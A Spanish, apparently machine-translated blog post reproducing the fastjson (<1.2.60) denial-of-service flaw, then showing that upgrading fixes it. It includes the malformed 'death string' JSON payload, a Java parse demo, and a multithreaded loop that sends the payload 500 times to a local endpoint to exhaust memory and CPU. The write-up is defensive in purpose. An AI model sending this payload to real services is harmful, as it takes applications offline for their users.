La vulnerabilidad de denegación de servicio remota de fastjson inferior a 1.2.60

 

Descripción de la vulnerabilidad

Primero, eche un vistazo a la respuesta oficial de Ali, el portal
FastJson <1.2.60 descripción del error

Reproducir la vulnerabilidad

Mirando el caso de prueba después de que se corrigió la vulnerabilidad en la versión 1.2.60 en Github , puede encontrar la cadena de muerte que causó esta vulnerabilidad  {"a": "\ x
A continuación, reproducimos la" cadena de muerte "en la demostración y el entorno real. El error resultante:

1. Demostración simple

public static void main(String[] args) {
        try {
            String DEATH_STRING = "{\"a\":\"\\x";
            Object obj = JSON.parse(DEATH_STRING);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

Excepción lanzada: excepción de tamaño GC + OOM
Excepción lanzada por Demo

2. Reproducir en la aplicación

Nuestra aplicación usa el marco SpringMvc, y luego mvc:message-convertersMessageConverter está configurado para usar FastJson com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverterpara serializar y deserializar la cadena JSON, por lo que esta vulnerabilidad se puede simular directamente a través de solicitudes POST.

  1. Use HttpClient, abra multi-threading, llame a una interfaz 500 veces
  2. private static void testMutiThread() {
            ExecutorService threadPool = Executors.newFixedThreadPool(8);
            String url = "http://localhost:8080/pool/getBaseLogById";
            String DEATH_STRING = "{\"id\":\"10143\\x";
    
            for (int i = 0; i < 500; i++) {
                threadPool.submit(() -> {
                    String result = HttpClientUtil.doPost(url, DEATH_STRING, HttpClientUtil.CONTENT_TYPE_JSON);
                    System.out.println("响应报文为:" + result);
                });
            }
        }

     

  3. Use la herramienta Java VisualVM para observar el uso de la memoria y la situación del GC.
    Aumento de la memoria3. Use el comando jstat para observar la situación del GC.
    Antes de que se completen 500 llamadas, el número de gc completo ha alcanzado aproximadamente 460 veces.
    Situación GC
    Si está en línea, los atacantes continúan atacando, el aumento de la memoria, el Full GC loco y el agotamiento de la CPU eventualmente harán que su aplicación no brinde servicios normalmente.

Resolver vulnerabilidades

Después de actualizar FastJson en la aplicación a 1.2.60, la "cadena de muerte" lanzará directamente una excepción durante la conversión porque no se ajusta al formato json estándar.
El contenido específico corregido en FastJson-1.2.60: Portal

Después de actualizar a 1.2.60, continúe con "use HttpClient, abra el subproceso múltiple, llame a una interfaz 500 veces", las condiciones de la memoria y del GC son las siguientes:
Entre ellos, se realizaron 3 GC completos y 7 GC jóvenes antes de la prueba de presión Existente, que es equivalente a solo un Young GC generado durante la prueba de presión, que es una reacción normal.
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_17010193/article/details/108439654
Recomendado
Clasificación